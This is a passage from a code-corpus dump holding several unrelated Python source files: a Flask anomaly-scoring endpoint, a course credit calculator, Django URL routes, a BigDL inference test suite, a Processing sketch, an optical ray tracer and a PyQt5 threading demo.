data_source=\"windowsos\")\nmodel_dict[\"wgtraffic\"] = load_profile_anomaly_model(spark=spark, data_source=\"wgtraffic\")\nmodel_dict[\"msexchange\"] = load_profile_anomaly_model(spark=spark, data_source=\"msexchange\")\n\n\n@app.route('/')\ndef heart_beat():\n return flask.jsonify({\"status\": \"ok\"})\n\n\n@app.route('/apply', methods=['GET'])\ndef calculate_profile_outlier_score():\n input_json = request.args\n input_dict = dict(input_json)\n app.logger.info(\"input request : {input_dict}\".format(input_dict=input_dict))\n data_source = input_dict[\"data_source\"][0]\n if \"src_ip\" in input_dict:\n app.logger.info(\"calculating ip profile anomaly score for {data_source}\".format(data_source=data_source))\n score = get_profile_anomaly_score(spark=spark, model_dict=model_dict[data_source],\n input_req=input_dict, entity_type=\"ip\")\n elif \"user_name\" in input_dict:\n app.logger.info(\"calculating user profile anomaly score for {data_source}\".format(data_source=data_source))\n score = get_profile_anomaly_score(spark=spark, model_dict=model_dict[data_source],\n input_req=input_dict, entity_type=\"user\")\n else:\n score = None\n\n app.logger.info(\"response : {score}\".format(score=score))\n return flask.jsonify(score)\n\n\nif __name__ == '__main__':\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.bind(('localhost', 0))\n port = sock.getsockname()[1]\n sock.close()\n with open(\"endpoint.dat\", \"w\") as text_file:\n text_file.write(\"{\\\"url\\\" : \\\"http://0.0.0.0:%d\\\"}\" % port)\n app.run(threaded=True, host=\"0.0.0.0\", port=port)\n","sub_path":"models/model_platform/deployment/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513040474","text":"#!/usr/bin/env python3\n\"\"\"\nThis cli program is used to calculate credit, then compare it with requirement\n\nAuthor: Mephis Pheies\nEmail: mephistommm@gmail.com\n\"\"\"\n\nimport re\n\nfrom collections import namedtuple\n\nCOURSECATEGORY = namedtuple(\"COURSECATEGORY\", \n (\"name\", \"basis_key\", \"requirement\", \"valid_value\", \"items\"))\n\ndef get_datas(filename):\n \"\"\"\n get data from filename, then parse it\n \"\"\"\n result = []\n space_re = r\"\\b +\\b\"\n with open(filename, \"r\") as f_descriptor:\n for data in f_descriptor.readlines():\n # replace spaces which used as borders\n # so, you should not write spaces into the not empty item!\n data = re.sub(space_re, \"\\t\", data).strip()\n if len(data) == 0 or data.startswith(\"#\"):\n continue\n\n # strip each item in data list expect space item\n # filter \"\", they may be exist at the end of list\n data = list(\n filter(lambda x: x != \"\",\n map(lambda x: x.strip() if x != \" \" else x,\n data.split(\"\\t\"))))\n # data should contain 13 items, the items of left end will not lack\n # so we should add additional space items to right end\n if len(data) < 13:\n spaces = [\" \" for i in range(13)]\n spaces[:len(data)] = data[:]\n data = spaces\n\n assert len(data) == 13\n result.append({\n \"course_code\": data[2],\n \"course_name\": data[3],\n \"course_property\": data[4],\n \"course_from\": data[10],\n \"credit\": float(data[6])})\n\n return result\n\ndef get_course_categories(filename):\n \"\"\"\n get the categories of courses, hence we could classify the courses\n \"\"\"\n result = []\n current_category = None\n type_line_re = r\"Type\\b.*\"\n with open(filename, \"r\") as f_descriptor:\n for data in f_descriptor.readlines():\n data = data.strip()\n if len(data) == 0 or data.startswith(\"#\"):\n continue\n\n if re.match(type_line_re, data, re.I):\n if current_category is not None:\n result.append(current_category)\n\n type_list = list(\n filter(lambda x: x != \"\",\n map(lambda x: x.strip(), \n data.split(\" \"))))\n\n if len(type_list) < 4:\n raise ValueError(\"invild line:\\n\\t'{}'\".format(data))\n\n current_category = COURSECATEGORY(\n type_list[1], type_list[2], float(type_list[3]), [], [])\n continue\n\n current_category.valid_value.append(data)\n\n result.append(current_category)\n return result\n\ndef check_data_in_category(data, category):\n \"\"\"\n check data in category\n use re.match compare all regExg in category.valid_value with data[category.basis_key]\n \"\"\"\n key = category.basis_key\n result = False\n for valid_re in category.valid_value:\n if re.match(valid_re, data[key], re.I):\n result = True\n break\n\n return result\n\ndef sum_of_credit(datas):\n \"\"\"\n calculate the sum of credit of datas, \n datas could be list or iterables\n \"\"\"\n return sum(map(lambda x: x[\"credit\"], datas))\n\ndef sum_of_require(categories):\n \"\"\"\n calculate the sum of requirement of categories\n \"\"\"\n return sum(map(lambda x: x.requirement, categories))\n\n\ndef main():\n \"\"\"\n * get and parse data\n \"\"\"\n course_categories = get_course_categories(\"courses_categorise.data\")\n student_credit_datas = get_datas(\"credit.data\")\n\n failed_to_classify_datas = []\n\n for data in student_credit_datas:\n for category in course_categories:\n if check_data_in_category(data, category):\n category.items.append(data)\n break\n else:\n failed_to_classify_datas.append(data)\n\n if len(failed_to_classify_datas) != 0:\n print(\"Some datas are failed to classify:\")\n for data in failed_to_classify_datas:\n print((\"{course_code} {course_name}\"\n \" {course_property} {course_from} {credit}\").format(**data))\n\n is_in_course_requirement = lambda x: re.match(\"课外\", x.name) is None\n is_in_course = lambda x: re.match(\"课外\", x[\"course_property\"]) is None\n total_requirement = sum_of_require(course_categories)\n total = sum_of_credit(student_credit_datas)\n in_course_requirement = sum_of_require(\n filter(is_in_course_requirement, course_categories))\n in_course = sum_of_credit(\n filter(is_in_course, student_credit_datas))\n out_course_requirement = sum_of_require(\n filter(lambda x: not is_in_course_requirement(x), course_categories))\n out_course = sum_of_credit(\n filter(lambda x: not is_in_course(x), student_credit_datas))\n\n print(\"total: {}/{} in_course: {}/{} out_course: {}/{}\".format(\n total, total_requirement,\n in_course, in_course_requirement,\n out_course, out_course_requirement))\n print(\"\")\n\n for category in course_categories:\n category_total = sum_of_credit(category.items)\n print(\"Type name:{} {}/{}\".format(\n category.name, category_total, category.requirement))\n for data in category.items:\n print((\"\\t{course_code} {course_name}\"\n \" {course_property} {course_from} {credit}\").format(**data))\n print(\"\")\n\ntry:\n main()\nexcept ValueError as err:\n print(err)\n","sub_path":"calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"40946823","text":"from django.conf.urls import patterns, include, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^$', 'res1.views.home', name='home'),\n url(r'^registration/$', 'res1.views.registration', name='registration'),\n url(r'^addmore/$', 'res1.views.addmore', name='addmore'),\n url(r'^profn/$', 'res1.views.profn', name='profn'),\n url(r'^send/$', 'res1.views.send', name='send'),\n #url(r'^mail/$','res1.views.mail', name='mail'),\n \n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n)\n\n#from django.conf.urls import patterns, include, url\n#from django.conf import settings\n#from django.conf.urls.static import static\n\n# Uncomment the next two lines to enable the admin:\n#from django.contrib import admin\n#admin.autodiscover()\n\n#urlpatterns = patterns('',\n \n# url(r'^$','res1.views.home'),\n# url(r'^edn/$', 'res1.views.edn'),\n# url(r'^profn/$','res1.views.profn'),\n# Uncomment the admin/doc line below to enable admin documentation:\n# url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n# url(r'^admin/', include(admin.site.urls)),\n \n#)\n","sub_path":"res/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"505719328","text":"#\n# Copyright 2016 The BigDL Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport os\nfrom torch import nn\nimport torch\nfrom unittest import TestCase\nimport pytest\nimport torchvision.transforms as transforms\nfrom bigdl.nano.pytorch import Trainer\nfrom bigdl.nano.pytorch import InferenceOptimizer\nimport torchmetrics\nimport torch\nimport torch.nn.functional as F\nfrom test.pytorch.utils._train_torch_lightning import create_data_loader\n\n\ndata_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n\n\nclass Net(nn.Module):\n def __init__(self, l1=8, l2=16):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, l1)\n self.fc2 = nn.Linear(l1, l2)\n self.fc3 = nn.Linear(l2, 10)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.reshape(-1, 16 * 5 * 5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\nclass TestInferencePipeline(TestCase):\n num_workers = 0\n data_dir = os.path.join(os.path.dirname(__file__), \"data\")\n metric = torchmetrics.Accuracy(num_classes=10, top_k=1)\n max_epochs = 5\n\n model = Net()\n test_loader = create_data_loader(data_dir, 1, num_workers, data_transform, subset=10, shuffle=False)\n train_loader = create_data_loader(data_dir, 32, num_workers, data_transform, subset=10, shuffle=True)\n loss = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n\n trainer = Trainer(max_epochs=max_epochs)\n model = Trainer.compile(model, loss, optimizer)\n trainer.fit(model, train_loader)\n \n def test_get_model_without_optimize(self):\n inference_opt = InferenceOptimizer()\n with pytest.raises(RuntimeError) as e:\n acc_model, option = inference_opt.get_best_model()\n error_msg = e.value.args[0]\n assert error_msg == \"There is no optimized model. You should call .optimize() \" \\\n \"before get_best_model()\"\n\n def test_pipeline_with_metric(self):\n inference_opt = InferenceOptimizer()\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=self.metric,\n direction=\"max\",\n thread_num=1)\n\n acc_model, option = inference_opt.get_best_model()\n acc_model, option = inference_opt.get_best_model(accelerator=\"onnxruntime\")\n assert option == \"\" or \"onnxruntime\" in option\n acc_model, option = inference_opt.get_best_model(precision=\"int8\")\n assert option == \"\" or \"inc\" in option or \"int8\" in option\n acc_model, option = inference_opt.get_best_model(accuracy_criterion=0.1)\n acc_model(next(iter(self.train_loader))[0])\n\n def test_pipeline_without_metric(self):\n inference_opt = InferenceOptimizer()\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n thread_num=1)\n\n acc_model, option = inference_opt.get_best_model()\n acc_model, option = inference_opt.get_best_model(accelerator=\"onnxruntime\")\n assert option == \"\" or \"onnxruntime\" in option\n acc_model, option = inference_opt.get_best_model(precision=\"int8\")\n assert option == \"\" or \"inc\" in option or \"int8\" in option\n with pytest.raises(RuntimeError) as e:\n acc_model, option = inference_opt.get_best_model(accuracy_criterion=0.1)\n error_msg = e.value.args[0]\n assert error_msg == \"If you want to specify accuracy_criterion, you need \"\\\n \"to set metric and validation_data when call 'optimize'.\"\n\n def test_pipeline_with_excludes(self):\n inference_opt = InferenceOptimizer()\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n thread_num=1,\n excludes=[\"fp32_ipex\", \"original\"])\n\n # original is a special method that must be included in\n # the search\n assert \"original\" in inference_opt.optimized_model_dict\n assert \"jit_fp32_ipex\" in inference_opt.optimized_model_dict\n assert \"fp32_ipex\" not in inference_opt.optimized_model_dict\n\n def test_pipeline_with_includes(self):\n inference_opt = InferenceOptimizer()\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n thread_num=1,\n includes=[\"fp32_ipex\"])\n\n assert \"original\" in inference_opt.optimized_model_dict\n assert \"fp32_ipex\" in inference_opt.optimized_model_dict\n assert len(inference_opt.optimized_model_dict) == 2\n\n def test_summary(self):\n inference_opt = InferenceOptimizer()\n with pytest.raises(RuntimeError) as e:\n inference_opt.summary()\n error_msg = e.value.args[0]\n assert error_msg == \"There is no optimization result. You should call .optimize() \"\\\n \"before summary()\"\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n thread_num=1)\n inference_opt.summary()\n\n def test_wrong_data_loader(self):\n fake_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n transforms.Resize(64),\n ])\n fake_train_loader = create_data_loader(self.data_dir, 32, self.num_workers,\n fake_transform, subset=10, shuffle=True)\n inference_opt = InferenceOptimizer()\n with pytest.raises(RuntimeError) as e:\n inference_opt.optimize(model=self.model,\n training_data=fake_train_loader,\n thread_num=1)\n error_msg = e.value.args[0]\n assert error_msg == \"training_data is incompatible with your model input.\"\n\n def test_pipeline_with_custom_function_metric(self):\n inference_opt = InferenceOptimizer()\n\n def metric(pred, target):\n return self.metric(pred, target)\n\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=metric,\n direction=\"max\",\n thread_num=1)\n \n def test_pipeline_with_torchmetrics_functional_metric(self):\n inference_opt = InferenceOptimizer()\n metric = torchmetrics.functional.accuracy\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=metric,\n direction=\"max\",\n thread_num=1)\n\n def test_pipeline_with_custom_function_metric_without_data(self):\n inference_opt = InferenceOptimizer()\n\n def metric(pred, target):\n return self.metric(pred, target)\n\n with pytest.raises(RuntimeError):\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=None,\n metric=metric,\n direction=\"max\",\n thread_num=1)\n\n def test_pipeline_with_wrong_custom_function_metric(self):\n inference_opt = InferenceOptimizer()\n\n def metric(x, y):\n return self.metric(x, y)\n\n with pytest.raises(RuntimeError):\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=metric,\n direction=\"max\",\n thread_num=1)\n\n def test_pipeline_with_custom_function_metric_with_data_loader(self):\n inference_opt = InferenceOptimizer()\n import numpy as np\n def metric(model, data_loader):\n metrics = []\n for input_data, target in data_loader:\n pred = model(input_data)\n metric = self.metric(pred, target)\n metrics.append(metric)\n return np.mean(metrics)\n\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=metric,\n direction=\"max\",\n thread_num=1)\n\n def test_get_model_with_wrong_method_name(self):\n inference_opt = InferenceOptimizer()\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=self.metric,\n direction=\"max\",\n thread_num=1)\n\n with pytest.raises(RuntimeError):\n inference_opt.get_model(method_name=\"fp16_ipex\")\n\n def test_get_model_with_method_name(self):\n inference_opt = InferenceOptimizer()\n inference_opt.optimize(model=self.model,\n training_data=self.train_loader,\n validation_data=self.test_loader,\n metric=self.metric,\n direction=\"max\",\n thread_num=1)\n try:\n model = inference_opt.get_model(method_name=\"fp32_ipex\")\n from bigdl.nano.deps.ipex.ipex_inference_model import PytorchIPEXJITModel\n assert isinstance(model, PytorchIPEXJITModel)\n except:\n pass\n","sub_path":"python/nano/test/pytorch/tests/test_inference_pipeline_ipex.py","file_name":"test_inference_pipeline_ipex.py","file_ext":"py","file_size_in_byte":10973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"216993346","text":"# Author: Berin\n# Sketches repo: https://github.com/berinhard/sketches\n\nclass NoiseWave:\n \"\"\"\n Class to enable noise increment propagation through an array\n \"\"\"\n\n def __init__(self, array_size, init_value=0):\n self.array_size = array_size\n self.noises = [init_value] * array_size\n\n @property\n def max_index(self):\n return self.array_size - 1\n\n def increment(self, step):\n for i in range(self.max_index, -1, -1):\n if i == 0:\n self.noises[i] += step # only increments first value\n else:\n # other values should copy the step from the previous position\n self.noises[i] = self.noises[i-1]\n\n def index_noise(self, i):\n return noise(self.noises[i]) # get noise by position\n\n\nclass Diamond:\n\n def __init__(self, horizontal_position, offset_y, reversed=False):\n self.horizontal_position = horizontal_position\n self.offset_y = offset_y\n self.reversed = reversed\n self.max_lines = 40\n self.top_lines, self.bottom_lines = [], []\n self.alpha = 40\n\n\n def draw(self, noise_x, noise_y):\n y1, y2 = self.y_values\n\n if self.reversed:\n x = self.offset_x + 100 - (100 * noise_x)\n y = self.offset_y + (200 * noise_y)\n else:\n x = self.offset_x + (100 * noise_x)\n y = self.offset_y + 200 - 200 * noise_y\n\n self.add_line(self.x, y1, x, y)\n self.add_line(self.x, y2, x, y, is_top=False)\n self.draw_lines()\n\n @property\n def x(self):\n \"\"\"\n Translate the diamond respecting its position\n \"\"\"\n return (self.horizontal_position + 1) * 100\n\n @property\n def offset_x(self):\n return self.x - 50\n\n @property\n def y_values(self):\n \"\"\"\n Returns top and bottom of the diamond\n \"\"\"\n return self.offset_y, self.offset_y + 200\n\n def draw_lines(self):\n colours = [50, 120, 140]\n if self.reversed:\n colours = reverse(colours)\n\n stroke(colours[0], colours[1], colours[2], self.alpha)\n for x1, y1, x2, y2 in self.top_lines:\n line(x1, y1, x2, y2)\n\n colours = reverse(colours)\n stroke(colours[0], colours[1], colours[2], self.alpha)\n for x1, y1, x2, y2 in self.bottom_lines:\n line(x1, y1, x2, y2)\n\n def add_line(self, x1, y1, x2, y2, is_top=True):\n \"\"\"\n Keeps a maximum of max_lines of internal golden lines\n \"\"\"\n if is_top:\n lines = self.top_lines\n else:\n lines = self.bottom_lines\n\n if len(lines) > self.max_lines:\n lines.pop(0)\n lines.append((x1, y1, x2, y2))\n\n @property\n def oldest_point(self):\n return self.top_lines[0][2:]\n\n\n @property\n def newest_point(self):\n return self.top_lines[-1][2:]\n\ntop_lines = [\n Diamond(col, 20) for col in range(7)\n]\nbottom_lines = [\n Diamond(col, 240, reversed=True) for col in range(7)\n]\nnoise_x = NoiseWave(len(top_lines))\nnoise_y = NoiseWave(len(top_lines), init_value=8)\n\ndef setup():\n size(800, 460)\n frameRate(16)\n background(0)\n strokeWeight(2)\n\ndef draw():\n background(0)\n for i, diamonds in enumerate(zip(top_lines, bottom_lines)):\n diamonds[0].draw(noise_x.index_noise(i), noise_y.index_noise(i))\n diamonds[1].draw(noise_x.index_noise(i), noise_y.index_noise(i))\n\n noise_x.increment(0.1)\n noise_y.increment(0.02)\n","sub_path":"s_006/diamonds/diamonds.pyde","file_name":"diamonds.pyde","file_ext":"pyde","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"32485794","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 24 15:43:16 2016\n\n@author: R Carthigesan\n\nModule implementing a 3-D optical ray tracer, which can be used to model the behaviour of some simple optical systems.\n\"\"\"\nimport numpy as np\nimport numpy.linalg as npl\n\n\nclass Ray:\n \"\"\"\n Class representing optical ray. Create instance at starting point point_init and direction dir_init using Ray(point_init, dir_init)\n \"\"\"\n \n def __init__(self, dir_init, point_init=np.array([0.0, 0.0, 0.0])):\n \"\"\"\n Initialises ray: if initial point not provided, starts at origin. Starting point and direction are given as NumPy arrays of size 3, representing Cartesian 3 vectors.\n \"\"\"\n if dir_init.size != 3:\n raise Exception(\"Direction not 3-vector\")\n elif point_init.size != 3:\n raise Exception(\"Point not 3-vector\")\n else:\n self.dir_init = dir_init.astype(np.float)\n self.dirlist = [self.dir_init]\n self.point_init = point_init.astype(np.float)\n self.pointlist = [self.point_init]\n \n def pcurrent(self):\n \"\"\"Returns current point of ray.\"\"\"\n return self.pointlist[-1]\n \n def dcurrent(self):\n \"\"\"Returns current direction of ray.\"\"\"\n return self.dirlist[-1]\n \n def append(self,d,p):\n \"\"\"Adds new direction d and point p to ray.\"\"\"\n if d.size != 3:\n raise Exception(\"New direction not 3-vector\")\n elif p.size != 3:\n raise Exception(\"New point not 3-vector\")\n else:\n self.dirlist.append(d.astype(np.float))\n self.pointlist.append(p.astype(np.float))\n \n def vertices(self):\n \"\"\"Returns list of all points along ray.\"\"\"\n return self.pointlist\n\n \nclass OpticalElement:\n \n def propagate_ray(self, ray):\n \"\"\"Propagate a ray through the optical element.\"\"\"\n raise NotImplementedError()\n\n \nclass SphericalRefraction(OpticalElement):\n \"\"\"\n Class representing a spherical refracting surface centred on the optical axis. z_0 is the intercept of the surface with the axis; curv, the curvature, is the reciprocal of the radius of curvature; n_1 and n_2 are the refractive indices either side of the surface; ap_rad is the aperture radius - the maximum extent of the surface from the optical axis.\n \"\"\"\n def __init__(self, z_0, curv, n_1, n_2, ap_rad):\n self.z_0 = z_0\n self.curv = curv\n self.n_1 = n_1\n self.n_2 = n_2\n self.ap_rad = ap_rad\n \n def intercept(self,ray):\n \"\"\"Calculates the first valid intercept of a ray with the spherical surface.\"\"\"\n P=ray.pcurrent()\n R=1.0/self.curv\n centrecurve = (np.array([0.0,0.0,self.z_0 + R])).astype(np.float) #centre of curvature\n k_hat=(ray.dcurrent())/(npl.norm(ray.dcurrent()))\n r = np.subtract(P, centrecurve)\n Q = np.add(P, np.dot(r, k_hat))\n if npl.norm(np.subtract(Q, centrecurve)) > abs(R):\n return None\n else:\n l_plus = -1 * (np.dot(r, k_hat)) + np.sqrt((np.dot(r, k_hat))**2 - ((npl.norm(r))**2 - R**2))\n l_minus = -1 * (np.dot(r, k_hat)) - np.sqrt((np.dot(r, k_hat))**2 - ((npl.norm(r))**2 - R**2))\n intersect_plus = np.add(P, l_plus * k_hat)\n intersect_minus = np.add(P, l_minus * k_hat)\n return intersect_plus, intersect_minus\n if R>0 and P[-1] abs(R):\n return None\n else:\n return intersect_minus\n elif R<0 and P[-1]>self.z_0:\n if np.sqrt((intersect_minus[0])**2 + (intersect_minus[1])**2) > abs(R):\n return None\n else:\n return intersect_minus\n elif R>0 and P[-1]>(-self.z_0):\n if np.sqrt((intersect_plus[0])**2 + (intersect_plus[1])**2) > abs(R):\n return None\n else:\n return intersect_plus\n elif R<0 and P[-1]<(-self.z_0):\n if np.sqrt((intersect_plus[0])**2 + (intersect_plus[1])**2) > abs(R):\n return None\n else:\n return intersect_plus\n elif np.sign(R) == np.sign(k_hat[-1]):\n return None\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"raytracer_1642_30112016.py","file_name":"raytracer_1642_30112016.py","file_ext":"py","file_size_in_byte":4603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"117274790","text":"from PyQt5 import QtGui, QtCore, QtWidgets\r\nimport sys\r\nimport random\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom functools import wraps\r\n\r\nclass UTILITY_GUI_HANDLER(QtCore.QObject):\r\n\r\n signalStatus = QtCore.pyqtSignal(str)\r\n\r\n def __init__(self, parent=None):\r\n super(self.__class__, self).__init__(parent)\r\n\r\n MainWindow = QtWidgets.QMainWindow()\r\n\r\n # Create a gui object.\r\n self.gui = Window()\r\n self.gui.setupUi(MainWindow)\r\n\r\n # Create a new worker thread.\r\n self.createWorkerThread()\r\n\r\n # Make any cross object connections.\r\n self._connectSignals()\r\n\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n\r\n def _connectSignals(self):\r\n self.gui.pushButton2.clicked.connect(self.forceWorkerReset)\r\n self.signalStatus.connect(self.gui.updateStatus)\r\n self.parent().aboutToQuit.connect(self.forceWorkerQuit)\r\n\r\n\r\n def createWorkerThread(self):\r\n\r\n # Setup the worker object and the worker_thread.\r\n self.worker = Utility_tab()\r\n self.worker_thread = QtCore.QThread()\r\n self.worker.moveToThread(self.worker_thread)\r\n self.worker_thread.start()\r\n\r\n # Connect any worker signals\r\n self.worker.signalStatus.connect(self.gui.updateStatus)\r\n # self.gui.pushButton.clicked.connect(self.worker.startWork)\r\n self.gui.pushButton.clicked.connect(self.worker.myWork)\r\n\r\n\r\n def forceWorkerReset(self):\r\n if self.worker_thread.isRunning():\r\n print('Terminating thread.')\r\n self.worker_thread.terminate()\r\n\r\n print('Waiting for thread termination.')\r\n self.worker_thread.wait()\r\n\r\n self.signalStatus.emit('Idle.')\r\n\r\n print('building new working object.')\r\n self.createWorkerThread()\r\n\r\n\r\n def forceWorkerQuit(self):\r\n if self.worker_thread.isRunning():\r\n self.worker_thread.terminate()\r\n self.worker_thread.wait()\r\n\r\n\r\nclass Utility_tab(QtCore.QObject):\r\n\r\n signalStatus = QtCore.pyqtSignal(str)\r\n\r\n def __init__(self, parent=None):\r\n super(self.__class__, self).__init__(parent)\r\n\r\n @QtCore.pyqtSlot()\r\n def startWork(self):\r\n for ii in range(7):\r\n number = random.randint(0,5000**ii)\r\n self.signalStatus.emit('Iteration: {}, Factoring: {}'.format(ii, number))\r\n factors = self.primeFactors(number)\r\n print('Number: ', number, 'Factors: ', factors)\r\n self.signalStatus.emit('Idle.')\r\n\r\n def primeFactors(self, n):\r\n i = 2\r\n factors = []\r\n while i * i <= n:\r\n if n % i:\r\n i += 1\r\n else:\r\n n //= i\r\n factors.append(i)\r\n if n > 1:\r\n factors.append(n)\r\n return factors\r\n\r\n def a_decorator(func):\r\n @wraps(func)\r\n def wrapper(*args, **kwargs):\r\n \"\"\"A wrapper function\"\"\"\r\n\r\n # Extend some capabilities of func\r\n return func.__name__\r\n return wrapper\r\n\r\n @QtCore.pyqtSlot()\r\n def myWork(self):\r\n self.signalStatus.emit('This solution')\r\n while True:\r\n print('I\\'m here')\r\n\r\nclass Window(QMainWindow):\r\n\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(800, 600)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.label = QtWidgets.QLabel(self.centralwidget)\r\n self.label.setGeometry(QtCore.QRect(250, 100, 150, 80))\r\n self.label.setObjectName(\"label\")\r\n self.widget = QtWidgets.QWidget(self.centralwidget)\r\n self.widget.setGeometry(QtCore.QRect(30, 50, 300, 200))\r\n self.widget.setObjectName(\"widget\")\r\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widget)\r\n self.verticalLayout_2.setContentsMargins(0, 0, 0, 0)\r\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\r\n self.verticalLayout = QtWidgets.QVBoxLayout()\r\n self.verticalLayout.setObjectName(\"verticalLayout\")\r\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout()\r\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\r\n self.Address = QtWidgets.QLabel(self.widget)\r\n self.Address.setObjectName(\"Address\")\r\n self.horizontalLayout_2.addWidget(self.Address)\r\n self.lineEdit = QtWidgets.QLineEdit(self.widget)\r\n self.lineEdit.setObjectName(\"lineEdit\")\r\n self.horizontalLayout_2.addWidget(self.lineEdit)\r\n self.verticalLayout.addLayout(self.horizontalLayout_2)\r\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout()\r\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\r\n self.Age = QtWidgets.QLabel(self.widget)\r\n self.Age.setObjectName(\"Age\")\r\n self.horizontalLayout_3.addWidget(self.Age)\r\n self.lineEdit_2 = QtWidgets.QLineEdit(self.widget)\r\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\r\n self.horizontalLayout_3.addWidget(self.lineEdit_2)\r\n self.verticalLayout.addLayout(self.horizontalLayout_3)\r\n self.verticalLayout_2.addLayout(self.verticalLayout)\r\n self.pushButton = QtWidgets.QPushButton(self.widget)\r\n self.pushButton.setObjectName(\"pb_run\")\r\n self.verticalLayout_2.addWidget(self.pushButton)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.pushButton2 = QtWidgets.QPushButton(self.widget)\r\n self.pushButton2.setObjectName(\"pb_cancel\")\r\n self.verticalLayout_2.addWidget(self.pushButton2)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(MainWindow)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 21))\r\n self.menubar.setObjectName(\"menubar\")\r\n MainWindow.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n MainWindow.setStatusBar(self.statusbar)\r\n\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.label.setText(_translate(\"MainWindow\", \"Output\"))\r\n self.Address.setText(_translate(\"MainWindow\", \"Address\"))\r\n self.Age.setText(_translate(\"MainWindow\", \"Age\"))\r\n self.pushButton.setText(_translate(\"MainWindow\", \"Run\"))\r\n self.pushButton2.setText(_translate(\"MainWindow\", \"Cancel\"))\r\n\r\n @QtCore.pyqtSlot(str)\r\n def updateStatus(self, status):\r\n # self.label.setText(self.lineEdit.text()+' '+self.lineEdit_2.text())\r\n self.label.setText(status)\r\n\r\n\r\n # def __init__(self):\r\n # QWidget.__init__(self)\r\n # self.button_start = QtWidgets.QPushButton('Start', self)\r\n # self.button_cancel = QtWidgets.QPushButton('Cancel', self)\r\n # self.label_status = QtWidgets.QLabel('', self)\r\n #\r\n # layout = QtWidgets.QVBoxLayout(self)\r\n # layout.addWidget(self.button_start)\r\n # layout.addWidget(self.button_cancel)\r\n # layout.addWidget(self.label_status)\r\n #\r\n # self.setFixedSize(400, 200)\r\n #\r\n # @QtCore.pyqtSlot(str)\r\n # def updateStatus(self, 